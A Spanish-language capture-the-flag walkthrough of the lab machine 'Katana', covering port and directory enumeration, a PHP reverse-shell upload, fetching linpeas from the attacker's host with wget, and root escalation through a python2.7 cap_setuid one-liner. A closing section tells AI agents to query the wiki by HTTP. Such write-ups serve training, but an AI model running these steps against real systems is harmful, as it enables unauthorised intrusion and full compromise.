# Katana

<figure><img src="/files/N08tT10gwNeIaVNmtbnw" alt=""><figcaption></figcaption></figure>

### Enumeración

#### Servicios abiertos

Comenzamos realizando un escaneo rápido de los puertos que tiene abiertos la máquina víctima.&#x20;

```
nmap -p- --open --min-rate 500 -Pn -n -vvv 192.168.209.83
```

<figure><img src="/files/5hOjfyzPQ1scWdyUhoCz" alt=""><figcaption></figcaption></figure>

6 servicios abiertos, puertos  21, 22, 80, 7080, 8088 y 8715. Vamos a realizar un escaneo profundo de los servicios abiertos.

```
nmap -p21,22,80,7080,8088,8715 -Pn -n -sVC -vvv 192.168.209.83
```

<figure><img src="/files/BqK8PZ4bmPFLgwl3T9Ip" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/EzarLON8D01hzcrtsfpU" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/HazG7f8gpYMGhuHOok0i" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/v0nr1a1XDEmp2DeIV3uI" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/esTJfInhmAZp6n2kk7fs" alt=""><figcaption></figcaption></figure>

Servicios abiertos:

* Puerto 21 -> FTP -> vsftpd 3.0.3
* Puerto 22 -> SSH -> OpenSSH 7.9
* Puerto 80 -> HTTP -> Apache httpd 2.4.38
* Puerto 7080 -> Empowerid -> ?
* Puerto 8088 -> Litespeed -> ?
* Puerto 8715 -> HTTP -> nginx 1.14.2

#### Enumeración Web

Existen tres servicios HTTP disponibles en la máquina objetivo. Vamos a enumerar el contenido de cada uno de ellos.&#x20;

<figure><img src="/files/O9f7sPlNdn5yfr9S2qfK" alt=""><figcaption><p>Puerto 80</p></figcaption></figure>

<figure><img src="/files/0VfHqB2TyWimmbua6jVE" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/D2ZtsE6eE6n1dSMaTARW" alt=""><figcaption><p>Formulario Login en el puerto 8715</p></figcaption></figure>

Vamos a realizar una enumeración de directorios los sitios Web expuestos en los puertos 80 y 8088.&#x20;

```
dirsearch -u "http://192.168.209.83:80/" -t 30 i 200,301 -e html
dirsearch -u "http://192.168.209.83:8088/" -t 30 -e html
```

<figure><img src="/files/rS9xnEftWp2E17lDB0cf" alt=""><figcaption><p>Directorios puerto 80</p></figcaption></figure>

<figure><img src="/files/6xZwJH26CO5qHEPw1umU" alt=""><figcaption><p>Directorios puerto 8088</p></figcaption></figure>

En la enumeración de directorios del sitio alojado en el puerto 8088 encontramos dos archivos que pueden ser interesantes. Vamos a ver su contenido.&#x20;

<figure><img src="/files/SyuJULm9tHozCoWJTlFl" alt=""><figcaption></figcaption></figure>

Llegamos a una página del sitio Web que nos permite la carga de archivos.&#x20;

### Explotación

Durante la enumeración del sitio Web, hemos encontrado archivos .php, así que damos por hecho que el sitio Web trata este tipo de archivos. Vamos a tratar de subir una reverse shell aprovechando que nos permiten cargar archivos. Configuramos nuestra IP y puerto de escucha en el archivo de la shell.

<figure><img src="/files/FjYJW244U4p9dlPfuHWO" alt=""><figcaption></figcaption></figure>

Cargamos el archivo y al mismo tiempo, ponemos a la escucha un oyente nc en el puerto 1234.

<figure><img src="/files/X8jXRHa7g5aaYIroaSMR" alt=""><figcaption></figcaption></figure>

Al tratar de cargar el archivo en el sitio habilitado más a la izquierda recibimos un error. Debemos subirlo utilizando la segunda carga de archivos. Entonces, recibimos el siguiente mensaje.&#x20;

<figure><img src="/files/BtyDLgYCw7vLkPnJYttg" alt=""><figcaption></figcaption></figure>

El archivo subido transcurrido un momento, es redirigido. Vamos a acceder a para cargar el archivo malicioso.&#x20;

<figure><img src="/files/84bIlbllsQxQMGouYasV" alt=""><figcaption></figcaption></figure>

El archivo malicioso no existe. Recordamos que la máquina víctima está ejecutando varios servidores Web. El archivo se ha redirigido al servidor "nginx" que se está ejecutando en el puerto 8715. Además, ya recibimos conexión de la máquina objetivo.&#x20;

<figure><img src="/files/Bs17hNdjfwWJZzQp3iqN" alt=""><figcaption></figcaption></figure>

Vamos a realizar el tratamiento de la tty.

```
python -c 'import pty;pty.spawn("/bin/bash")'
```

<figure><img src="/files/eg7JpMFMPDpsWueIsmQE" alt=""><figcaption></figcaption></figure>

Ya podremos buscar la flag de bajos privilegios, local.txt.

```
find / -name local.txt 2>/dev/null
```

<figure><img src="/files/BepjQOXHqkrSxKx7esGv" alt=""><figcaption></figcaption></figure>

### Elevación de privilegios

Descargamos un ejecutable de [Linpeas](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS) que nos realizará una enumeración de manera automatizada de todos los puntos vulnerables que nos puede permitir elevar privilegios.&#x20;

Creamos un servidor HTTP con Python y enviamos Linpeas a la máquina objetivo. Damos permisos y ejecutamos.&#x20;

Para enviar el archivo:

```
python2 -m SimpleHTTPServer 80 (máquina de ataque)
wget 192.168.45.5/linpeas.sh (en el directorio /tmp de la máquina objetivo)
```

<figure><img src="/files/xPKNu0PKuWgZMqaBYBH9" alt=""><figcaption></figcaption></figure>

Para ejecutar:

```
chmod +x linpeas.sh
./linpeas.sh
```

<figure><img src="/files/YTlq6wCgftqmp2gsTgiX" alt=""><figcaption></figcaption></figure>

Tras un momento de ejecución, obtenemos información que puede ser de interés.&#x20;

<figure><img src="/files/jt2S0PS5BdR4GhFFO6OS" alt=""><figcaption></figcaption></figure>

Vemos que **python2.7** tiene el conjunto de capacidades "cap\_setuid". Este es un tipo de privilegio que se puede otorgar para permitir que los programas manipulen el UID de su propio proceso en ejecución. En otras palabras, podemos ejecutar **/usr/bin/python2.7** e indicarle que establezca su UID de proceso en 0 (root). ¿Cómo? Vamos a consultar [GTFOBins](https://gtfobins.github.io/gtfobins/python/#capabilities).&#x20;

<figure><img src="/files/fDEWDPdZ5GRjr1duZfRv" alt=""><figcaption></figcaption></figure>

En nuestro caso, ejecutaremos con python2.7.&#x20;

```
python2.7 -c 'import os; os.setuid(0); os.system("/bin/sh")'
```

Ejecutamos, ya ya tendremos acceso como "root" al sistema objetivo.

<figure><img src="/files/zXJmFoZtjraeEerNgHpT" alt=""><figcaption></figcaption></figure>

Solo quedará buscar la flag proof.txt

<figure><img src="/files/wnjMlbcZ88AlVcOhxV40" alt=""><figcaption></figcaption></figure>

Y ya estaría acabada la máquina

{% embed url="<https://www.youtube.com/watch?v=94btJsxdbTs>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://wiki.securiters.com/securiters-wiki/write-ups/proving-grounds/katana.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
